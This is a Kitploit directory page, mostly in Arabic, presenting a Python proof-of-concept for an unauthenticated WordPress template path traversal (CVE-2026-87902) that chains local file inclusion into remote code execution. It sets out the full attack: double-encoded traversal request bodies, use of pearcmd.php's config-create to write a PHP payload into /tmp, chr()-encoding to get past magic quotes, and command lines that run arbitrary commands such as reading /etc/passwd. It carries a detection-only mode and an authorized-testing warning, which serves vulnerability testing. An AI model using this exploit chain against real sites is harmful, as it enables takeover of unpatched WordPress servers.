Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-87902 — Python PoC يستغل CVE-2026-87902، وهو اجتياز مسار غير مصادق عليه في WordPress locate_template() يؤدي إلى LFI وRCE قائم على PEAR، مع وضع كشف آمن. | Kitploit
أدوات/GitHubGitHub/crowsec-edtech/cve-2026-87902
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولاتمختبرات وتدريب عملي
GitHubcrowsec-edtech/cve-2026-87902

CVE-2026-87902

Python PoC يستغل CVE-2026-87902، وهو اجتياز مسار غير مصادق عليه في WordPress locate_template() يؤدي إلى LFI وRCE قائم على PEAR، مع وضع كشف آمن.

342منذ 24 أياملم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-87902 — PoC: اجتياز المسار غير المُصادَق عليه في حل قالب الصفحة في WordPress

ملف الاستغلال: exploit_locate_template_rce.py — Python 3.6+ (stdlib فقط).

خط أنابيب بأمر واحد: كشف آمن (تفاضلي LFI، بدون كتابة) →، إذا كان معرّضًا للثغرة، RCE عبر gadget pearcmd.php ينفّذ الأمر الذي تختاره (--command/-c). استخدم --validate-only للتوقف قبل مرحلة الكتابة.

يختبر CVE-2026-87902 في إصدارات WordPress بدون إصلاح الـ commit 5fde0bb7 — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2، backports حتى 4.7.37).

CVECVE-2026-87902 (CWE-98، CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
المتأثرةWordPress 4.7.0 – 7.1.1 (جميع الفروع)
الإصلاح7.1.2، 7.0.6، 6.9.9 … 4.7.37
Fix commit5fde0bb7b9775523959094bf280cc54bfa78af51 (merge للـ changeset 63792)
الملفاتwp-includes/template.php (get_page_template()، locate_template()، _wp_is_template_path_allowed())
المصادقةلا شيء — لا مستخدم، لا cookie، لا nonce، لا plugin
الاعتماداتالاكتشاف والإفصاح: Robert Ressl

⚠️ للاختبار المُصرَّح به فقط. استخدمه في بيئات تتحكم بها (المختبر أدناه معزول) أو بتصريح صريح من المالك.


1. الثغرة

في الإصدارات بدون الإصلاح، التسلسل get_page_template() → locate_template() → template-loader لا يضمن أبدًا أن القالب المختار يبقى داخل القالب (theme).

قبل الإصلاح (wp-includes/template.php):

// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

بعد الإصلاح (commit 5fde0bb7):

if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

سلسلة الاستغلال (كود المستودع)

  1. pagename و page_id هما query vars عامة — يُقبلان في body طلب POST مجهول. طريقة POST تجعل redirect_canonical() (canonical.php) يعود مبكرًا — فهو يعمل فقط في GET/HEAD، لذا لا يتم إعادة توجيه أي شيء.
  2. الـ traversal مزدوج الترميز (templates%252f%252e%252e%252f...) وينجو من sanitize: WP_Query::get_posts() (سطر 2191) يعيد كتابة pagename بـ sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() لا ينكسر عند %2F (formatting.php سطر 5768) و sanitize يحافظ على octets %XX (سطر 2395).
  3. page_id (سطر 2252) يستبدل WHERE ("$where ="، وليس ".=") — الصفحة الحقيقية تُحمَّل، بدون 404، ويبقى pagename الخبيث في كائن الاستعلام.
  4. get_page_template() يقوم بـ urldecode() متأخر ويبني page-<traversal>.php بدون validate_file().
  5. locate_template() قبل الترقيع يستدعي فقط file_exists() → الـ include يهرب من القالب.

الشروط المسبقة

#الشرط المسبقالسبب
1صفحة منشورة، متاحة مجهولًا، قابلة للاختيار عبر page_id وبدون custom templateيجب أن يُحلّ الطلب إلى Page؛ القالب المخصص سيأتي قبلها في التسلسل الهرمي
2دليل top-level في القالب النشط (child أو parent) يبدأ بـ page- (مثل: page-templates/)WP يضيف البادئة الثابتة page-؛ عبرها يدخل الـ traversal. يكفي وجوده وأن يكون قابلًا للاجتياز (يمكن أن يكون فارغًا). موجود في Twenty Twelve/Fourteen، Neve، Hestia، Sydney
3هدف .php محلي موجود وقابل للقراءةالـ loader يضيف .php ويتحقق من is_file()/is_readable()
4(فقط لـ RCE) pearcmd.php قابل للقراءة + register_argc_argv=On + دليل قابل للكتابة (مثل: /tmp)مسار PEAR→RCE: config-create يكتب payload الـ PHP على الخادم

2. ما يفعله السكربت

المرحلة 1 — كشف آمن (يعمل دائمًا أولًا)

ثلاثة POSTs مجهولة ضد الصفحة المنشورة — بدون كتابة على القرص:

الطلبpagenameالاستجابة المتوقعة (معرّض)
A — baseline—200، body عادي (~23 KB)
B — تحكمtraversal → ملف غير موجود200، body عادي (fallback page.php)
C — probetraversal → wp-content/index.php ("Silence is golden")200 مع body فارغ

التوقيع: C فارغ + A/B عاديان ⇒ الـ include هرب من القالب ⇒ معرّض للثغرة. الكشف يمسح تلقائيًا: أدلة القالب المرشحة (page-templates، page-template) × أعماق 1–12. النتيجة (theme-dir + depth) تغذّي مرحلة RCE.

مع --validate-only يتوقف السكربت هنا (exit 0 إذا كان معرّضًا).

المرحلة 2 — RCE عبر pearcmd.php (كتابة)

Estágio 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → o traversal inclui /usr/local/lib/php/pearcmd.php
           → argv vem da query string crua (register_argc_argv=On)
           → config-create GRAVA o payload em /tmp/wp-pear-rce.php (12 cópias serializadas)

Estágio 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → o mesmo traversal inclui o arquivo gerado → system(<--command>) roda como www-data

تفاصيل التنسيق (كل القيود يتعامل معها السكربت):

  • POST، وليس GET: الـ body يحمل page_id + pagename؛ الـ query string تحمل حصريًا argv الخاص بـ PEAR (?+config-create+<root>+<out>).
  • Payload بدون أي علامة اقتباس: wp_magic_quotes() (load.php سطر 1290) يطبّق add_magic_quotes($_SERVER) و pearcmd يقرأ argv من $_SERVER['argv'] — أي علامة اقتباس ستصبح \' وتكسر الملف المُنشأ. كل string في PHP يصبح تسلسل chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).
  • Request target byte-exato (http.client): البايتات الخام +، <، > في الـ query string هي argv — لا يمكن إعادة كتابة/ترميز أي شيء في المسار.
  • config-create يتطلب root path مطلق — الـ payload يُحقن كـ root نفسه (/<php>)، مسبوقًا بعلامة ___WP_RCE_OK___ التي تحدّد المخرجات.
  • RCE يجرّب depths بدءًا من المكتشف (الترتيب الداخلي 7، 6، 8، 5، …) وعدة مسارات لـ pearcmd.php (Docker الرسمي، Debian/Ubuntu، XAMPP) — اضبط بـ --pear-path/--output إذا لزم الأمر.

لا يوجد "upload": هدف الكشف هو ملف يأتي مع كل WordPress من المصنع (wp-content/index.php)؛ payload الـ RCE يكتبه الخادم نفسه عبر gadget PEAR، يعمل كـ www-data.


3. الاستخدام

# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

المعاملات

تنزيل الأداة